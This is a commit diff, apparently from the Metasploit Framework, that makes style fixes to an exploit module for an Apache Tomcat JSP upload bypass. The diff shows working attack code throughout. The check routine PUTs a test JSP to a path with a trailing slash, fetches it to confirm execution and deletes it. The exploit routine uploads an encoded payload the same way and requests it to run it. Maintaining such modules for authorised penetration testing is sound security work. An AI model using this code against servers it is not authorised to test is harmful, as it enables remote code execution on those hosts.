more style cleanup for tomcat_jsp_upload_bypass

Author: jmartin-tech

modules/exploits/multi/http/tomcat_jsp_upload_bypass.rb

@@ -59,21 +59,21 @@ def check
     testurl = Rex::Text::rand_text_alpha(10)
     testcontent = Rex::Text::rand_text_alpha(10)
 
-    res = send_request_cgi({
-      'uri'       => normalize_uri(target_uri,"#{testurl}.jsp/"),
+    send_request_cgi({
+      'uri'       => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
       'method'    => 'PUT',
       'data'      => "<% out.println(\"#{testcontent}\");%>"
     })
 
     res1 = send_request_cgi({
-      'uri'       => normalize_uri(target_uri,"#{testurl}.jsp"),
+      'uri'       => normalize_uri(target_uri.path, "#{testurl}.jsp"),
       'method'    => 'GET'
     })
 
     if res1 && res1.body.include?(testcontent)
-      res2 = send_request_cgi(
+      send_request_cgi(
         opts = {
-          'uri'       => normalize_uri(target_uri,"#{testurl}.jsp/"),
+          'uri'       => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
           'method'    => 'DELETE'
         },
         timeout = 1
@@ -85,18 +85,17 @@ def check
   end
 
   def exploit
-
     print_status("Uploading payload...")
     testurl = Rex::Text::rand_text_alpha(10)
 
     res = send_request_cgi({
-      'uri'       => normalize_uri(target_uri,"#{testurl}.jsp/"),
+      'uri'       => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
       'method'    => 'PUT',
-      'data'      => "#{payload.encoded}"
+      'data'      => payload.encoded
     })
     if res && res.code == 201
       res1 = send_request_cgi({
-        'uri'       => normalize_uri(target_uri,"#{testurl}.jsp"),
+        'uri'       => normalize_uri(target_uri.path, "#{testurl}.jsp"),
         'method'    => 'GET'
       })
       if res1 && res1.code == 200
@@ -105,9 +104,8 @@ def exploit
         fail_with(Failure::PayloadFailed, "Failed to execute the payload")
       end
     else
-      fail_with(Failure::Unknown, "Failed to upload the payload")
+      fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
     end
-
   end
-end
 
+end